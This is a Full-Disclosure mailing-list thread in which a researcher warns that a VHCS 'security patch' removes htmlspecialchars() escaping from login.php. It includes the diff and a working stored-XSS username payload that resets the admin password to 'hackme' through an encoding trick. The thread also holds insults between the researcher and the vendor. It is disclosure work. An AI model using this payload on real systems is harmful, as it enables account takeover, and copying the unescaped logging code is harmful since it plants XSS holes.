Hi, Let's summary: 1.- You (as VHCS "vendor") publish a patch that when installed opens a big security hole (as demonstrated in my former analysis). 2.- You didn't notify security mailing-lists (as a responsible vendor would do if a new security bug has been identified and fixed, which is what you are claiming). 3.- Someone (me), publicly reports it (with cc to you) (I already argued why I decided to go public; read my former mail). 4.- You answer saying it has now been fixed but you didn't publish any reference or info in the VHCS page. 5.- So a VHCS customer who downloaded the wrong patch (and does not consult security mls/sites) won't notice any change in your original announce and will be vulnerable indeed. You are not correctly informing your users. 6.- I publicly ask you for a clarification about the real bug which was supposed to have been fixed and you didn't answer. Anything to hide? 7.- I didn't get any response but an offending mail accusing me of elevating alarm level at securitywizardry... Pathetic.
Sorry, but I don't believe in security through obscurity. Insulting people reporting problems is not the solution. Acknowledging your own errors and clarifying the situation is. VHCS users deserve an official explanation. Is / isn't 2.4.7.1 really vulnerable to a new bug? PS: I'm posting this to full-disclosure, as an example of how a vendor response to a security issue should never be. Cheers, -Román (aka the "stupid asshole" :-)) Alexander Kotov [moleSoftware] wrote: > If you want to go public in the furute fiest conatact someone of the dev > team > Wait at least 1 day and then go public ... stupid asshole > > here the results of your activiy > http://securitywizardry.com/alertstate.htm#alerts > > Fuck you > Alex > > > Roman Medina-Heigl Hernandez wrote: > >> Hi Alex, >> >> My apologies if I've been a bit rough, but public security mailing-lists >> are intended to deal with (un)security issues. I don't understand why >> you didn't announce in mls the issue if a new vuln was being fixed. It >> seemed some kind of joke or hack, since I missed the "die()" function >> and I only saw security fixes being removed, so it was suspicious. I >> decided to go public because people could be downloading wrong patch. >> >> I didn't have time to analyze the effects of die() line there. I suppose >> that's the real fix, isn't it? Could you elaborate on that? What's the >> real vuln being fixed? >> >> Sorry for the inconvenience. No offense was intended. >> >> Cheers, >> -Roman >> >> >> Alexander Kotov [moleSoftware] wrote: >> >> >>> Hi Roman, >>> >>> uffff ... I'm human being and make mistakes. I just got older version of >>> the file. >>> Now I rebuilded the tarball and the problem is fixed. >>> >>> I think it is not necessary to post such kind of messages in public >>> mailinglists >>> before you contact someone of the development team and wait at least >>> some hours. >>> >>> cheers >>> Alex >>> >>> >>> Roman Medina-Heigl Hernandez wrote: >>> >>> >>> >>>> Hi, >>>> >>>> I've just visited VHCS main page and noticed the following "security >>>> patch": >>>> >>>> http://vhcs.net/new/modules/news/article.php?storyid=23 >>>> >>>> It reads: >>>> >>>> "This patch is for all VHCS versions. >>>> You have to update only one GUI file - /vhcs2/gui/include/login.php >>>> >>>> Just replace the file >>>> " >>>> >>>> Well, just do NOT apply it!!!! It's a fake! Indeed it will leave your >>>> VHCS installation vulnerable to a high severity cross-site-scripting >>>> issue! >>>> >>>> See it: >>>> login_orig_unix.php --> original 2.4.7.1 login.php (converted to Unix) >>>> login_new_unix.php --> login.php from "security patch" >>>> >>>> [EMAIL PROTECTED]:~$ diff login_orig_unix.php login_new_unix.php >>>> 38c38 >>>> < write_log("Login error, >>>> <b><i>".htmlspecialchars($uname, >>>> ENT_QUOTES, "UTF-8")."</i></b> unknown username"); >>>> --- >>>> >>>> >>>> >>>> >>>>> write_log("Login error, <b><i>".$uname."</i></b> unknown >>>>> >>>>> >>>> >>>> username"); >>>> 75c75 >>>> < >>>> write_log( htmlspecialchars($uname, ENT_QUOTES, "UTF-8")." Domain >>>> status >>>> is not OK - user can not login"); >>>> --- >>>> >>>> >>>> write_log( $uname." Domain status is not OK - user can not login"); >>>> 104c104 >>>> < write_log( htmlspecialchars($uname, ENT_QUOTES, >>>> "UTF-8")." user logged in."); >>>> --- >>>> >>>> >>>> >>>> >>>>> write_log( $uname." user logged in."); >>>>> >>>>> >>>> >>>> 112c112 >>>> < write_log( htmlspecialchars($uname, ENT_QUOTES, >>>> "UTF-8")." bad password login data."); >>>> --- >>>> >>>> >>>> >>>> >>>>> write_log( $uname." bad password login data."); >>>>> >>>>> >>>> >>>> 190c190 >>>> < write_log(htmlspecialchars($uname, ENT_QUOTES, >>>> "UTF-8")." user session timed out"); >>>> --- >>>> >>>> >>>> >>>> >>>>> write_log($uname." user session timed out"); >>>>> >>>>> >>>> >>>> 199c199 >>>> < write_log(htmlspecialchars($uname, ENT_QUOTES, >>>> "UTF-8")." bad session data."); >>>> --- >>>> >>>> >>>> >>>> >>>>> write_log($uname." bad session data."); >>>>> >>>>> >>>> >>>> 258a259 >>>> >>>> >>>> >>>> >>>>> die(); >>>>> >>>>> >>>> >>>> 261a263 >>>> >>>> >>>> >>>> >>>>> } >>>>> >>>>> >>>> >>>> 437c439 >>>> < } >>>> --- >>>> >>>> >>>> >>>> >>>>> //} >>>>> >>>>> >>>> >>>> [EMAIL PROTECTED]:~$ >>>> >>>> >>>> As you can see, the "patch" removes htmlspecialchars() calls letting >>>> login.php vulnerable . Nasty... >>>> >>>> If you apply the "patch" (or have an old VHCS install, for instance >>>> version <= 2.4.6.2), the XSS bug is active. Just for fun, you can >>>> exploit it by entering the following as "username" (in the login entry >>>> page): >>>> >>>> </form><form name="dsr" method="post" >>>> action="ch%61nge_password.php"><input >>>> name="pass" value="hackme"><input name="pass_rep" value="hackme"><input >>>> name="uaction" >>>> value="updt_pass"></form><script>document.dsr.submit()</script> >>>> >>>> When the VHCS admin enters the "Admin Log" page (in VHCS menu)... his >>>> password will be set up to "hackme" :-) The %61 trick is necessary to >>>> bypass some string substitution. This exploit combines the XSS bug with >>>> what I see as a poor security design bug, which is letting change >>>> password without supplying the old one (Alex, please, fix it in next >>>> release!). >>>> >>>> Summarizing, my recommendation: use VHCS 2.4.7.1, don't apply patch. >>>> >>>> >>>> >>>> >>> >>> >> >> >> >> > > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
